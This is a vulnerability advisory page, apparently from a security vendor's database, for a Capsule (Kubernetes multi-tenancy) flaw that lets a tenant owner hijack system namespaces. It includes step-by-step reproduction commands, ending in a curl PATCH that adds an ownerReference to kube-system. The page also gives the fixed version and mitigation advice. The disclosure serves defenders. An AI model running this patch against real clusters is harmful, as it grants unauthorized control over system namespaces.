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GHSA-mq69-4j5w-3qwp

HIGH

Capsule tenant owner with "patch namespace" permission can hijack system namespaces

Also known asCVE-2024-39690GO-2024-3077
Published
Aug 20, 2024
Updated
Aug 14, 2025
Affected
1 pkg
Patched
1 / 1
Exploits
1 known

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk39th percentile+0.30%
0.00%0.34%0.67%1.01%0.1%0.5%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/projectcapsule/capsule

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Attack Vector

Then, let me briefly explain the reasons for the errors mentioned above: 1. The 'kubectl edit' command was used to patch the namespace, but this operation requires both 'get' and 'patch' permissions, hence the error. One should use methods like 'curl' to directly send a PATCH request; 2. The webhook does not intercept patch operations on 'kube-system' because 'kube-system' does not have an ownerReference.

Below are my detailed reproduction steps

  1. Create a test cluster kind create cluster --image=kindest/node:v1.24.15 --name=k8s
  2. Install the capsule helm install capsule projectcapsule/capsule -n capsule-system --create-namespace
  3. Create a tenant
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
  name: tenant1
spec:
  owners:
  - name: alice
    kind: User
EOF
  1. Create user alice
./create-user.sh alice tenant1 capsule.clastix.io
export KUBECONFIG=alice-tenant1.kubeconfig
  1. Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.)
kubectl proxy

export DATA='[{"op": "add", "path": "/metadata/ownerReferences", "value":[{"apiVersion": "capsule.clastix.io/v1beta2", "blockOwnerDeletion": true, "controller": true, "kind": "Tenant", "name": "tenant1", "uid": "ce3f2296-4aaa-45b0-a8fe-879d5096f193"}]}]'

curl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATCH -d "$DATA" -H "Content-Type: application/json-patch+json"
  1. Check the result The kube-system is patched successfully. image

Summary

The tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace.

I would like to express my apologies once again. I have always been sincere in my research and communication, and I did not intend to disturb you on purpose.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/projectcapsule/capsuleall versions0.7.1
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/projectcapsule/capsule. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/projectcapsule/capsule to 0.7.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mq69-4j5w-3qwp is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-mq69-4j5w-3qwp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-mq69-4j5w-3qwp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Attack Vector Then, let me briefly explain the reasons for the errors mentioned above: 1. The 'kubectl edit' command was used to patch the namespace, but this operation requires both 'get' and 'patch' permissions, hence the error. One should use methods like 'curl' to directly send a PATCH request; 2. The webhook does not intercept patch operations on 'kube-system' because 'kube-system' does not have an ownerReference. # Below are my detailed reproduction steps 1. Create a test cluster `kind create cluster --image=kindest/node:v1.24.15 --name=k8s` 2. Install the capsule `helm install capsul
O3 Security · Impact-Aware SCA

Is GHSA-mq69-4j5w-3qwp in your dependencies?

O3 detects GHSA-mq69-4j5w-3qwp across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.